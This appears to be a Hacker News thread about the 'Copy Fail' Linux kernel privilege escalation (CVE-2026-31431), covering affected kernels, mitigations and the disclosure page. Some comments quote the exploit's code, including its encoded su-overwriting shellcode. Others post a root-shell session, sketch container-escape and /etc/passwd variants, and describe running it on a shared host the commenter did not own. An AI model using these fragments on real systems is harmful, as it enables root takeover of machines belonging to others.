sorry yeah, I saw not exploitable on Android and thought most SELinux would be ok. Not super sure on this case what the surface is
The 2017 claim is based on the vulnerability having been introduced in this commit in the second half of 2017: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/lin...
The details will depend on whether the kernel is a newer release or a maintenance version of an older release.
It overwrites bytes in memory of any file you can read. It's not hard to imagine how it could escape a lot of things.
If you can get to real UID 0 from a rootless container, you can escape it, but you do need to take extra steps. Same with it working on Alpine: the underlying vulnerability probably still exists, but the script might need some adjusting. It's a PoC, not a full exploit for every situation.
It's worth pointing out that you cannot, definitionally, get "real UID 0" in a "rootless" container, because then it wouldn't be a rootless container. This is relevant because this exploit doesn't claim to be able to bypass user namespaces, and that getting "real UID 0" would be a different exploit.
The underlying exploit allows writing arbitrary values to the page cache, independent of any namespacing, so it should be assumed to allow container escapes even if the given PoC code doesn't do that.
That's fair (although it doesn't have anything to do with getting "real root" in a userns in that case). I guess one approach would be something like modifying the host's logrotate binary and waiting for it to trigger, or something like that. Would escape the container to root on the host directly. I imagine it wouldn't be a sure thing to pull off, either, but definitely straightforward enough that any APT should be asking Claude to develop it.
Their PoC does as you say, but is built upon arbitrary modification of the page cache, which could be abused for the other things
Ah indeed, it can be used to overwrite the page cache for files on read-only volumes.
Kubernetes 1.33 switches to user namespaces enabled by default, which I imagine is the same underlying mechanism that rootless Podman uses. `hostUsers: false` is the way to ensure that root in the pod is root on the host. It's trivial for a real (unmapped) root to escape a Kubernetes pod.
Did you try it on systems that don't have the patch already? Seems many distributions already shipped kernels with the patch ~a month ago.
Yes. Alpine in rootless Podman doesn't work (after replacing "/usr/bin/su" with "/bin/su" in the .py, running the .py just doesn't do anything) while it does in Debian in rootless Podman on the same host.
It also doesn't work on Raspberry Pi, though presumably it could easily be made to; it does replace the su binary, but the replacement is not executable.
It's patching the binary in memory, so the binary patch would be architecture dependent. The existing one is only x86_64, but with an updated payload, it would work on arm.
this is because the `su` binary is replaced with x86 shellcode, replace it with aarch64 and it will work just the same.
there is a PoC floating around for Alpine.
[flagged]
I wasn't able to unload algif_aead on RHEL 9/10 because it's built in, rather than a module.
So here the next-best thing I found: Disable AF_ALG via systemd. Needs drop-ins for all exposed services. Here an Ansible playbook that covers ssdh and user@, which are the main ones usually.
https://gist.github.com/m3nu/c19269ef4fd6fa53b03eb388f77464d...
How about blacklisting algif_aead initialization function on RHEL 9/10? I added "initcall_blacklist=algif_aead_init" to the kernel boot options and rebooted. The exploit is not working anymore.
Good idea. Added to the playbook for RHEL only.
On Debian normal unloading of the module works.
I was coming up with the same intuition. However, it's like a whack-a-mole. What about cronjobs and slurmjobs and other services? Is there a way to do this directly on systemd so that all other processes inherit it rather than doing it on each one?
https://www.freedesktop.org/software/systemd/man/latest/syst...
`/etc/systemd/system/service.d/${...}.conf`
I think this is what you're looking for.
FYI RHEL's SELinux policy blocks AF_ALG socket creation for confined services out of the box. But disabling via RestrictAddressFamilies= unit option, or initcall_blacklist= kernel parameter, seems to be a good mitigation for unconfined services, users and containers.
For mitigation, the page currently basically just says:
> Update your distribution's kernel package to one that includes mainline commit a664bf3d603d
But it isn't very clear to me what Kernel version you can expect that to be in. For Arch/CachyOS, the patch seems to be included in 6.18.22+, 6.19.12+ and 7.0+. If you're on any of the lower versions in the same upstream stable series, you're likely vulnerable right now. Some distro kernels may include the fix in other versions, so check for your distribution.
On a git repo that has as remotes
running a search for commit a664bf3d603d's commit message: outputs these tags as having the fix:Here's the diff if you wanna play in your source (Gentoo, looking at you):
https://github.com/torvalds/linux/commit/a664bf3d603d
6.18.25-gentoo-x86_64 has the patch for Gentoo.
Thanks a lot!!!
I was running in Gentoo "6.18.18" (amd64) and the exploit worked (and all other shells which I PREVIOUSLY opened could then just execute "su -" without password to become "root") -> doing temporarily a "modprobe -r algif_aead" on-the-fly did not fix it as I was still able to swap to "root" from the unprivileged user by executing just "su -".
"6.18.25" fixed it (module "algif_aead" still running).
- Maybe older Kernel versions that don't contain the fix should be blacklisted?
- FYI in Gentoo I had to recompile "sys-fs/zfs-kmod" after the minor kernel upgrade (I initially skipped it, but after rebooting with the new kernel I could not mount my raidz1) -> the same might be needed for other external modules.
Yeah in theory genkernel should handle zfs but since I’m zfs_on_root because I like living dangerously I have a one liner that genkernels and then re-emerges zfs and then rebuilds the initramfs.
distros might also apply patches to their own packages, so this isn't a perfect signal (i.e. if you have one of those versions, you almost certainly have the fix, but if you don't, it might still be fixed but you'll need to check the distro's package information to know for sure).
Just curious.. do they list all those kernel version because there is regression in versions after 6.18.22 ?
ie does v 6.19.0 have the flaw in it?
No, it was fixed initially in 7.0, and the patch then applied to the 6.18 and 6.19 branches, fixing the existing bug in versions 6.18.22 and 6.19.12. The bug exists in 6.19.0 to 6.19.11, but not as a regression - those were all released before the bug was fixed.
Major os vendors will publish pages with the fixed versions:
https://security-tracker.debian.org/tracker/CVE-2026-31431
https://ubuntu.com/security/CVE-2026-31431
Also, disabling algif_aead is suggested as mitigation
Where are you seeing the disabling algif_aead mitigation?
In TFA: https://copy.fail/#mitigation
> Before you can patch: disable the algif_aead module.
> echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
> rmmod algif_aead 2>/dev/null || true
Edit: and I can confirm that on my system with kernel 6.19.8 the above fixes the exploit.
Weirdly, the mitigation does not seem to work under WSL2 (at least in Ubuntu 24.04).
`modprobe algif_aead` errors out, but if I run the POC, it succeeds.Outside of WSL2, the mitigation does appear to work though.
It's possible that the WSL kernel has that code compiled-in rather than as a loadable module. If they ship the kernel config somewhere, you could verify with
It should show =m if it's a loadable module, and =y if it's compiled in.It's a loadable module:
Using bpftrace to watch calls to module_request, openat, etc., it looks like when the kernel calls modprobe, it doesn't even look at the disable-algif.conf file: Restart WSL2, run the bpftrace, and try `sudo modprobe algif-aead`, and that shows it looking at (or I guess opening) other files in /etc/modprobe.d, including the new one.The mystery is why.
In wsl, each distro you have runs in a container (with lot of permissions), you'd need to apply the modprobe change inside wsl "hypervisor" rootfs
The only way to solve this issue in WSL is to rebuild your kernel:
~ uname -r
6.18.20.3-microsoft-standard-WSL2+
It looks like this is legit, but the script is very phishy and I wouldn't run it in unvirtualized or disposable systems.
https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/m...
>zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
This is not source code, this is binary, it's entirely possible that this contains a script that downloads another malicious script (or that simply contains the malicious commands)
That said, I understand why a terser script might have been prioritized.
EDIT: There's a couple of C ports in the comments that contain more details and no compressed payloads.
> This is not source code, this is binary, it's entirely possible that this contains a script that downloads another malicious script (or that simply contains the malicious commands)
It doesn't, it's just a compressed ELF file that does setuid(0); execve(/bin/sh, 0, 0). You can just unzlib it and throw it in a disassembler.
Better explanation of the write up (still from original exploit author) : https://xint.io/blog/copy-fail-linux-distributions
Is there a readable version of the exploit readily available by any chance? Gotta admit that I failed binary-zip-interpretation-with-naked-eye class twice
The binary "zip" isn't the exploit, it's the shellcode. The exploit is the rest, which changes the code of a SUID executable (su).
Go version came in handy https://github.com/badsectorlabs/copyfail-go especially for systems without the very latest python (os.slice)
Slightly more readable Python version at https://gist.github.com/grenkoca/b82281a4706e936072979acf54b...
The call to zlib basically overwrites a minimal ELF into a portion of the `su` binary, which exceve's /bin/sh.
To be specific, the zlib'd binary basically does this (except that it directly uses Linux syscalls to do so rather then C wrappers):
I have a C translation here that should be pretty readable https://github.com/tgies/copy-fail-c
That is why we should get rid of setuid binaries. GrapheneOS does not use them and was therefore not affected. On the desktop there is also a project called Secureblue based on Fedora Atomic that is moving in a similar direction and has already eliminated a large number though not all setuid binaries. As an alternative to sudo, su, and pkexec there is for example run0, which is available in distributions using systemd. Since systemd 259 there is now also the --empower parameter which like sudo elevates the privileges of the regular user. Essentially any distribution could start removing sudo and create an alias so that users don’t have to adjust immediately.
No, it is not affected by the exploit as presented. This is a page cache write, so writing to a binary that root will run later can work too. This isn’t a reason to push an agenda that dislikes setuid binaries.
AOSP and GrapheneOS have a small allowlist of socket types in the SELinux policies preventing using AF_ALG outside of the dumpstate service used to gather system wide debugging information for bug report zips. It's not available as attack surface on AOSP-based operating systems in practice.
The vulnerability also isn't present in standard AOSP GKI kernels (including the stock Pixel OS) or GrapheneOS kernels since they use a minimal kernel with tons of functionality disabled. Other OEMs may enable it but SELinux policy won't permit accessing it. OEMs can weaken SELinux policy but they're restricted by the neverallow rules which disallow permitting apps to access a list of non-standard socket types including AF_ALG.
That would only work if the user had access to a binary that they wanted to run as root. Ideally this shouldn’t happen at all for most users. There is almost never a legitimate reason to run any program as root unless for example it is a service that absolutely requires it. In Fedora based distributions SELinux also prevents systemd from running any binaries or scripts that the user has access to as root. Removing setuid binaries and strictly limiting features like user namespaces through SELinux would make Linux significantly more secure. It’s absolutely ridiculous that even an outdated Android smartphone is more secure than the average Linux distribution these days.
Yeah. The whole Linux security model seems like it was designed centuries ago. Your permissions are supposed to derive from the authority granted to you at the time of your invocation, and from those with the existing authority to grant/delegate them... not from your lineage, name, possessions, or status at birth. I find it kind of funny that generations of *nix engineers appear to have perpetually struggled with this concept. For all the hate it gets, Windows got this part fundamentally right.
AOSP not permitting setuid/setgid binaries is certainly useful attack surface reduction but isn't how it blocks exploiting this vulnerability. It blocks it via SELinux policy having allowlists for socket types which don't permit AF_ALG to be used outside of the dumpstate service.
The vulnerability also isn't present in standard AOSP GKI kernels (including the stock Pixel OS) or GrapheneOS kernels since they use a minimal kernel with tons of functionality disabled.
Kernel attack surface is mainly done via SELinux policies on AOSP including ioctl command allowlists per device type such as permitted GPU driver ioctl commands, io_uring only being permitted for a few core processes and much more. AOSP uses seccomp-bpf for apps, etc. too but it's mainly SELinux doing kernel attack surface reduction in practice.
For this crowd, I highly suggest checking out the technical writeup
https://xint.io/blog/copy-fail-linux-distributions
This has frustratingly low information density for a technical writeup. The LLM output on the marketing page is whatever, but here it really feels like my time isn’t being respected.
That’s the most AI-written page ever made
Yes. So cringy.
This looks like an extraordinary find at first glance.
Does this mean you can go from a basic web shell from a shared hosting account to root? I can see how that could wreak havoc really quickly.
Yes I would imagine lots of those type of services would be vulnerable if they hadn't updated to the latest kernel versions.
As of this comment, Debian Stable ("Trixie", though I hate codenames) doesn't have a fix in place and remains vulnerable, or at least their CVE tracker shows it as such:
https://security-tracker.debian.org/tracker/CVE-2026-31431
"Debian Stable ("Trixie", though I hate codenames)"
You can also call it Debian 13.
I choose not to call it Debian 13 because that carries less context than Stable/Testing/sid. I'd rather not require the user to maintain that extra metnal mapping.
Anyone who knows anything about this subject immediately understands what is connoted by "Debian Stable". I run Trixie on most of my personal boxes and I had no idea what version number it is, nor do I particularly care.
> I run Trixie on most of my personal boxes and I had no idea what version number it is
It's not that hard to find though:
13.4 since 3/14
Interestingly it fails for me because my `su` isn't world-readable:
I'm not sure I have any setuid/setgid binaries that are world-readable...A workaround might be to make all setuid/setgid files non-world-readable because then they cannot be opened at all, and thus there is no setuid file to replace the contents of.
Eh, if you can pollute page caches this won’t safe you.
Think modifying shared libraries, ld preload, cron, I guess on some systems /etc/passwd even.
There are a lot of files readable that should definitely not be writable.
Fair enough -- a simpler change might be to poison /etc/passwd and call `su` to a user that has uid 0, since that requires no shell code nor a readable binary, and this seems to have worked in a slightly modified POC:
There is a PoC that does exactly that here: https://github.com/tgies/copy-fail-c
It being readable is the default configuration most places, after all the purpose is to call it from a non-privileged user. But I could see it being made non-readable since its use is discouraged nowadays... though then I'd expect sudo to be readable as an alternative.
My `sudo` is also not readable. Files/directories don't need to be readable to be executed. I can still use `su` and `sudo`.
Oh yeah, duh.
Still every machine I've looked at, and I've since looked at a couple more, has it r-x for world.
As soon as I read this
>Shared dev boxes, shell-as-a-service, jump hosts, build servers — anywhere multiple users share a kernel. any user becomes root
jumped out of bed and went straight into webminal.org servers as local user and ran the python code. It says permission denied on sock() call.
Then I tested with local laptop with it:
```
$ uname -a
Linux debian 6.12.43+deb12-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.43-1~bpo12+1 (2025-09-06) x86_64 GNU/Linux
$ python3 copy_fail_exp.py
# cd /root && ls
bluetooth_fix_log.txt dead.letter overcommit_memorx~ overcommit_memory~ overcommit_memorz~ resize.txt snap
```
It does provide the root access!
Beware that running this kind of thing even as a test on a host you don't own may well be a criminal offense!
Everything MAY be a criminal offense. Whether it has any merit is another matter.
If I were accused of anything criminal for running this in a host, my defense would be that I was checking the safety of a service I was being offered. If the service was vulnerable, I would counterclaim, if you are on the defense you are already losing.
You understand there's a difference between how the law is, and how you think it should be, right? Only one of those things will actually help you in court.
It probably depends more on the facts than the law.
Whether local access to a system was lawfully granted, whether the af alg module was probed, whether page cache in memory was corrupted, whether su binary on disk was modified, whether other users could access su after the intervention, what the terms of services were. Whether information from other users was accessed, whether the server is private or government related, whether the vuln was actually present, what actions were taken in notifying the server owner if the vuln was present etc..
To claim that X is illegal without regard for any of these variable facts is unlikely to hold generally.
Additionally, as a plaintiff I would be looking at a civil claim, so that would be my concern when evaluating defendant liabilities as well.
I also tested this on an Ubuntu 24.04 (x86_64) host w/ GA kernel ("6.8.0-103-generic #103-Ubuntu SMP PREEMPT_DYNAMIC Tue Feb 10 13:34:59 UTC 2026 x86_64 GNU/Linux") and wasn't able to reproduce the "problem", although `canonical-livepatch` tells me that there are currently "no livepatches available".
Could be worse (we'll see) as this could be a wild ride along with react2shell or some of the compromised packages as of late.
Anyone tried in an Azure Cloud Shell?
Asking for a friend ;)
EDIT: Don't. "/s" in case not obvious.
What is "RHEL 14.3"? Was this site a one shot prompt. Quality.
Debian page: https://security-tracker.debian.org/tracker/CVE-2026-31431
Oddly, the POC doesn't work on my Debian 12 (Bookworm) EC2 instance. Everything that should indicate it's vulnerable is there, including the ability to socket(38,5,0).bind("aead", "authencesn(hmac(sha256),cbc(aes))")
What kernel version is it? (`uname -r`)
Not the OP, but I've tried it on Debian 12 and kernel 6.1.0-34-amd64 is vulnerable (ie. the exploit works) but 6.1.0-42-amd64 and 6.1.0-44-amd64 seem to be immune, at least for me. I have only tested the exploit as-is (with su). I do see from other comment theads here that someone had it work for them on 6.1.0-43, but I can't yet find that kernel installed anywhere here to verify.
6.1.0-44-amd64
Sibling comment says this version seems to be immune.
I couldn't get the POC to work with my version of Python so I had ChatGPT convert it to C [0] and was able to verify my Slackware system does not appear to be affected, but my NixOS system would be if I had any world-readable suid binaries (which I had to make one to test it).
[0] https://rkeene.org/viewer/tmp/copy_fail_exp.c.htm
Don't you have like, a sudo in /run/wrappers/bin?
EDIT: Sorry, I failed at reading your message. Never mind.
If this is verified, this is a very big deal. Root access on any shared computer. Additionally do we know what kernel versions and stable versions have the patch?
I just tested on my home server running ubuntu 24.04 LTS with newest kernel from repositories, got root.
Can Livepatch mitigate this or is it already? I don't know where to look this up.
I used the mitigation from this CVE report to turn off AF_ALG.
As far as mainline goes, only 7.0 and up have the patch already.
This is amazing. Page says it works on RHEL 14.3, which doesn’t exist. Current RHEL is 10.x, this must’ve been done in a TARDIS.
14.3 seems to come from some Red Hat-specific GCC version, which can be reported as "gcc (GCC) 14.3.1 20250617 (Red Hat 14.3.1-2)". See these random examples I found by googling:
https://github.com/anthropics/claude-code/issues/40741 (gcc version "Red Hat 14.3" included in system version at the bottom)
https://docs.oracle.com/en/database/oracle/tuxedo/22/otxig/s...
On the same line it says kernel version 6.12.0-124.45.1.el10_1. Which is RHEL 10. This is the kind of typo that humans make -- the hard to type numbers are accurate because they're cut and pasted, but the "easy" numbers have errors because they're not cut and pasted.
ugh sorry should be fixed. There was some scrambling to get more info together to explain the issue (and yes, obviously marketing), so there are some minor mistakes. Thanks for pointing it out!
Hope the 'marketing' had the desired effect. This entire article of pure AI noise was an absolute slog to get through to get to useful information. I have no idea how you view that as positive advertising.
> obviously marketing
Why marketing though?
because we're a company and we want to make money to continue to fund cool research, and help our customers secure their software :)
I don't quibble with your wanting to make money, but you also need to invest some resources on fact-checking, proofreading, and editing your work. You can hire technical writers and marketing copy editors on an hourly basis as needed. LLMs aren't good enough yet to produce high-quality output on their own; and the results tend to read similarly, loaded with clichés and identical turns of phrase.
(You're not alone in this, BTW; I don't mean to single you out.)
Resume-driven development
I would rather people who find this kind of stuff pad their resumes and get coolness points on HN than sell this exploit on the black market. But your priorities may be different and you might prefer they do the latter.
This is just a false dichotomy. Sure researches want money, credit but not at the cost of harming users or doing illegal things.
yeah, I assumed the whole thing was AI slop when I saw EL14...
https://x.com/i/status/2049687923814281351
> and yes, RHEL 14.3 doesn't exist We meant to say RHEL 10.1. Sorry for the confusion!
[flagged]
I have no idea about this page, but Theori/Xint has a staff of veterans, they are a serious thing.
The fact that they have no idea RHEL 14, probably the most well known enterprise distro, is not a thing, and yet they "directly verified on it" casts some doubt on seriousness.
Is it more likely they have no idea what version RHEL is on, or that it's just a typo?
I don't know what to tell you. I'm sure you have them dead to rights on Linux distro knowledge reliability, but the exploit here is real, and the vulnerability researchers they have on staff are also real. Xint is not generally a slop factory.
It's ironic that the one thing LLMs can't do reliably in this space is "write copy for humans" (I don't trust them for that either).
Honestly I feel like a coding agent review would have caught this issue. I guess if you want to vibe-code your branded CVE web site it's not a bad idea to at least mash /review at the end.
Kind of funny to do something impressive and then ignore the details on the presentation, but perhaps that's not uncommon for security researchers?
Dropping a public exploit on github before distros have patches available isn't very cool, or is that just how veterans roll these days?
There is no one accepted set of norms on disclosure. Any strategy you take, someone will criticize.
I don’t know if “cool” is the word I’d use, but there isn’t an established “right” way to disclose a vulnerability that you found outside of a contracted security review or other employment/contracting arrangement.
mainline was patched a month ago
Could this be used to root Android devices? Does Android ship with algif_aead?
I rewrote it quickly to C [1] (and changed the embedded binary to be aarch64).
Unfortunately it fails on calling bind() on my device, so probalby Android doesn't ship with that kenrel module by default :(. So no freedom for my $40 phone.
Putting it out here, maybe somebody else will have better luck.
[1] https://gist.github.com/alufers/921cd6c4b606c5014d6cc61eefb0...
Update: Checking the kernel config indeed confirms this.
I’ve poked around on my phone and it didn’t work:
I got line 5 to run and failed on line 8 due to lack of su. I'd need to find a user accessible setuid binary for it to work.
Traceback (most recent call last): File "/data/data/com.termux/files/home/exploit.py", line 8, in <module> f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")) ^^^^^^^^^^^^^^^^^^^^^^^ FileNotFoundError: [Errno 2] No such file or directory: '/usr/bin/su'
Try /system/bin/ping
Now the socket is blocked. Also probably should have realized the socket is defined earlier than its called
Traceback (most recent call last): File "/data/data/com.termux/files/home/exploit.py", line 9, in <module> while i<len(e):c(f,i,e[i:i+4]);i+=4 ^^^^^^^^^^^^^^^ File "/data/data/com.termux/files/home/exploit.py", line 5, in c a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"4+c],[(h,3,i4),(h,2,b'\x10'+i19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) ^^^^^^^^^^^^^^^^ File "/data/data/com.termux/files/usr/lib/python3.12/socket.py", line 233, in __init__ _socket.socket.__init__(self, family, type, proto, fileno) PermissionError: [Errno 13] Permission denied
PoC is also x86_64 only and not arm.
fixed: https://github.com/tgies/copy-fail-c
Thanks! Will give it a try a bit later.
(HN algorithms have killed some of your comments, perhaps because you posted the same URL too many times from a relatively new account? I’ve vouched for you, but keep in mind that it triggers antispam.)
---
Edit: naturally, no luck:
Guess AF_ALG is just disabled on Android kernel builds. Though maybe it’ll work on other devices!There’s SELinux, everything is mounted nosuid, barely anything runs as root except init. I doubt it.
You don't need a suit binary for this, they have arbitrary write of memory. The suid binary is just a convenient and portable way to demonstrate it. Real exploits will use many different mechanisms.
Android is smarter than setuid + system partitions aren't writable.
System partitions being non-writable has nothing to do with the vulnerability - it allows modifying the cache of any file that you can open for reading.
Not using setuid anywhere means you'd have to build a slightly more clever exploit, but it's still trivial - just modify some binary you know will run as root "soon".
But... I didn't check, but IIRC the untrusted_app secontext that apps run in is not allowed to open AF_ALG sockets - so you can't directly trigger the vulnerability as a malicious app. Although it might be possible in some roundabout way (requesting some more privileged crypto service to do so).
Edit: Ignore this I overlooked calling order. It is indeed blocked
~~My allegedly fully patched pixel 8 pro allowed an AF_ALG socket to open under termux without virtualization so I'm not sure the last but is true~~
Ah, I blindly assumed such memory would be mapped readonly...
Its not writing to the partition though is it? It is polluting the cache page via a write with a buffer overrun in the kernel. I don't think buffer overruns follow permissions.
I assumed such memory would be mapped readonly (PROT_READ), without actually looking into it..
The Python dependency is easily eliminated, and the x86_64 payload made cross-platform: https://github.com/tgies/copy-fail-c
The fetishism of "byte count" (here, as "732 byte python script") needs to stop, especially when in a context like this where they're trying to illustrate a real failure modality.
Looking at their source code [1] it starts with this simple line:
import os as g,zlib,socket as s
And already I'm perplexed. "os as g"? but we're not aliasing "zlib as z"? Clearly this is auto-generated by some kind of minimizer? Likely because zlib is called only once, and os multiple times. As a code author/reviewer, I would never write "os as g" and I would absolutely never approve review of any code that used this.
Anyway, I could go on. :) Let's just stop fetishizing byte count
[1] https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/m...
Hilariously, "os as g" adds one more byte than it saves, since os is only used 4 times but the alias takes 5 extra bytes to save 4. And "socket as s" comes out even.
If you wanted real savings, you'd use "d=bytes.fromhex" instead of defining a function -- 17 bytes!! And d('00') -> b'\0' for -2 bytes.
We could easily get the byte count down further by using base64.b85decode instead of bytes.fromhex (-70 or so), but ultimately we're optimizing a meaningless metric, as you mention.
I don't get the 732-byte thing either and while I think it's a relatively punchy and unusually informative landing page for named vulnerability there are little snags like this all over it.
But the fact that it's not a kernel-exec LPE and it's reliable across kernels and distributions is important; it's close to the maximum "exploitability" you're going to see with an LPE. Which the page does communicate effectively; it just gilds the lily.
yeah... definitely a bit of a rush to get the landing page out after a long time in the disclosure process. The folks putting this all together have been working like mad (finding the bug, disclosing, working a lot on patching, writing up POCs and verifying exploitability in different scenarios) and stayed up really late to finish up the landing page, which led to a lot of minor issues.
But the bug is real and people should patch :)
For the size: sometimes people will shove in kilobytes of offset tables or something into an exploit, so it'll fingerprint and then look up details to work. This is much smaller because it doesn't need any of that, which is important for severity. (I agree the "golf" nature is a bit of an aside, kind of like pwn2own exploits taking "10 seconds")
I don't see it as fetishizing byte count. I think of it as a proxy measure for how complicated or uncomplicated the exploit might be. They could just as well have said "we can do it in 3 lines of python" or "the Shannon entropy of the script implementing the exploit is really small" and I would have interpreted it similarly.
Where do you see this "fetishizing" happening most often? It's a strange thing to counter-fetishize about.
> I think of it as a proxy measure for how complicated or uncomplicated the exploit might be.
From a Busy Beaver, 256-bytes compo, or Dwitter perspective, 732 bytes isn’t really that meaningful.
And the sample exploit is even optimizing the byte size by using zlib compression, which doesn’t make much sense for the purpose. It just emphasizes the byte count fetishization.
Again, I think the point is that compressed size is a reasonable measure of the inherent complexity of a program. I'm a crap mathematician, but I believe that is a fundamental concept in information theory.
But it isn’t compressed size, the compressed part is only 180 bytes of the 732.
Ah, got it. Thank you.
It's just lazy AI* writing w/0 editing.
"Just" is doing a lot of work there, I'm so annoyed reading it.
It's like an anti-ad and they had pretty cool material to work with.
* Claude loves stacatto "Some numeric figure. Something else. Intensifier" (ex. the "exploitable for a decade." or whatever sentences)
Completely without editing, to the point of hallucinating a RHEL version (14.3) that doesn't exist.
I recommend reading the technical writeup https://xint.io/blog/copy-fail-linux-distributions
Technical writeup is also slop I fear
Glad I’m not alone. The whiplash from “oh, python I can read this” to “what the hell does that do” was jarring.
Assuming AI was correct, it unpacks more or less like this
import os, zlib, socket
AF_ALG = 38
SOCK_SEQPACKET = 5
SOL_ALG = 279
def hex_bytes(x):
def trigger(fd, offset, patch4): target = os.open("/usr/bin/su", os.O_RDONLY)payload = zlib.decompress(bytes.fromhex("..."))
offset = 0
while offset < len(payload):
os.system("su")> I would absolutely never approve review of any code that used this.
How often do you review, and subsequently block the release, of PoCs in this sort of context? Sounds like you've faced this a lot.
I always thought code quality mattered less in those, as long as you communicate the intent.
If you have a choice between posting minimized exploit code, and posting regular exploit code, posting minimized code is virtually always the wrong choice.
If you have a choice between pointing out the byte size of the exploit, and not pointing out the byte size of the exploit, pointing it out is virtually always the wrong choice.
In both cases, doing the right thing is less work. So somebody is going the extra way to ensure they are doing it wrong. If they didn't care, they'd end up doing it right by default.
> as long as you communicate the intent
How does "import os as g" communicate the intent? How does hiding the payload behind zlib communicate the intent? This is the opposite: obfuscating the intent, so they can brag about 732 bytes instead of 846 bytes (or whatever it might have been).
It would have been less work for everyone involved to just release the unminified source.
While not formally reviewing code like this, I read a lot of it for fun. When it's clear and understandable, it's more educational and enjoyable. If the PoC code can also serve as a means of communication, that seems like an extra win.
llms love that though
"The honest solution: a clean 50-line cut" and so on, ad nauseam
I started to take the exploit script apart and reformat it to be something readable. At about 1041 bytes it's actually readable. The heart of it also includes an encoded zlib compressed blob that's 180 bytes long ('78daab77...'). This is decompressed (zlib.decompress(d(BLOB)) to a 160 byte ELF header.
While I agree that it doesn't make much sense to use a minimizer on code the reader could understand, the code-golfed byte count of a CVE repro communicates its complexity in a certain visceral way.
You're supposed to add "as a senior engineer" so we know you're 3 years out of bootcamp and can program in 1.25 languages. Or "as a staff..." if you've given an interview, know what 'make' is ("it's a command!") and are willing to do absolutely anything for the CTO.
> Anyway, I could go on.
Then go on. zlib is only used once, so "zlib as z" in exchange for using z once doesn't get you anything. Using os directly and not renaming it g saves you 2 bytes though. But in this age where AI outputs reams of code at the drop of a hat, why shouldn't we enjoy how small you can get it to pop a root shell?
https://gist.github.com/fragmede/4fb38fb822359b8f5914127c2fe...
edit: If we drop offset_src=0 and just pass in 0 positionally, it comes down to 720.
>...why shouldn't we enjoy how small you can get it to pop a root shell?
Because I want to know what the exploit is doing and how it works, and if it's even safe to run.
A privesc PoC is NOT the place for this kind of fun.
Agreed lmao the PoC itself looks like you’re getting attacked
Which I guess is true but I would like to verify the attack is the intended one
This is pretty legible compared to the 90s C rootshell.org exploits.
>As a code author/reviewer, I would never write "os as g" and I would absolutely never approve review of any code that used this.
lucky for them, its an exploit script, not enterprise code.
all that needs to be "reviewed" is whether or not it exploits the thing its supposed to.
edit: yall really think a 10-line proof of concept script needs to undergo a code review? wild. i shouldnt be surprised that the top comment on a cool LPE exploit is complaining about variable naming
It's just sloppy. Readers are human, and little mistakes like this take away from the article. Then you add a nonexistent RHEL version, and it just isn't a good look. Which is a shame, because it's otherwise a very interesting vuln.
Maybe you didn't care, but the length of this comment chain clearly shows that it matters. Effective communication is just as important as the engineering.
agreed regarding the RHEL version!
i just dont understand huffing and puffing over "os as g" in a 10-line poc script, and saying "well i would never approve this". its not enterprise code. its not code that will ever be used anywhere else, for anything. its sole purpose is to prove that the exploit is real, which it does!
the rest of the information is in the actual vulnerability report. the poc is a courtesy to the reportee, so that they can confirm that the report itself isnt bullshit.
evidently, given the downvotes i am getting, people think exploit scripts should be enterprise quality code. ¯\_(ツ)_/¯ half of the reports i see flowing through mailing lists dont even have a poc.
amazingly HN-like to be upset about a variable name
Disagree because to run the PoC you really ought to understand what it’s doing.
And this code is not readable at all. It is failing at letting people confirm the exploit easily.
>Disagree because to run the PoC you really ought to understand what it’s doing.
that is contained in the report, which will look similar to the blog. the maintainers will have an open line of contact with the reporters as well. the poc is a small part of the entire report. its not like the linux maintainers only received this poc and have to work out the vulnerability from it alone.
>It is failing at letting people confirm the exploit easily.
it confirms the exploit incredibly easy. just run it, and you get confirmation.
what the blog says and what the code does are two different things.
For all I know the blog itself is a honey pot. I need to know what the code does before I run it.
>I need to know what the code does before I run it.
its literally code meant to exploit your system. you should be running it in an environment built for that already.
you dont test exploit pocs on your daily driver.
> you dont test exploit pocs on your daily driver.
Do you just like making fake points and pretending other people said them?
go ahead and explain your point, rather than be cryptic, if you you want to have an actual conversation about it.
you said "I need to know what the code does before I run it.".
you know its an LPE. the mechanisms of the exploit are fully explained. what more do you need to know? please imagine yourself in the position of the kernel security team who would have received this poc in the first place when you answer, because that is the intended context of the poc.
if you think the kernel security team is going to get tripped up over "os as g", you have a crazy low view of the team.
While your at it you can enter your credit card details to see if they've been leaked.
I don't anyone is saying it's not "enterprise" it's just that they clearly went out of their way to make it less readable. By all means advertise the golf'd line count but just have the non minified script.
I'd imagine that at minimum, the team in charge of patching the vulnerability would need to review how the exploit works.
id imagine that they received more than just the poc in the report they received
That doesn't make reviewing the POC any less valuable.
what value do you believe renaming the variable from "g" to something else provides the linux maintainers?
It makes the exploit code more readable. We all love to laugh at C folks but for real, even Linux kernel maintainers care about readability.
What is the rationale behind naming CVEs and individual domains? Marketing?
It's an advertisement for their tool that found the exploit: https://copy.fail/#contact, https://xint.io/products/xint-code
can you remember what CVE-2021-44228 is without looking it up? CVE-2014-6271? CVE-2017-5753?
i bet if i told you their names, you would instantly know what vulns those are.
its easier to talk about things with names. it hurts no one. it takes approximately no effort or time.
CVEs are, for whatever reason, like the only thing on the planet that people seem to have a problem with when they receive a name. i am not sure why.
> CVEs are, for whatever reason, like the only thing on the planet that people seem to have a problem with when they receive a name. i am not sure why.
What, you guys talk about books based on their “title” instead of just memorising the ISBN of each book? Pssh, count me disappointed!
after work i have to stop at Y87794H0US1R65VBXU25 for some groceries.
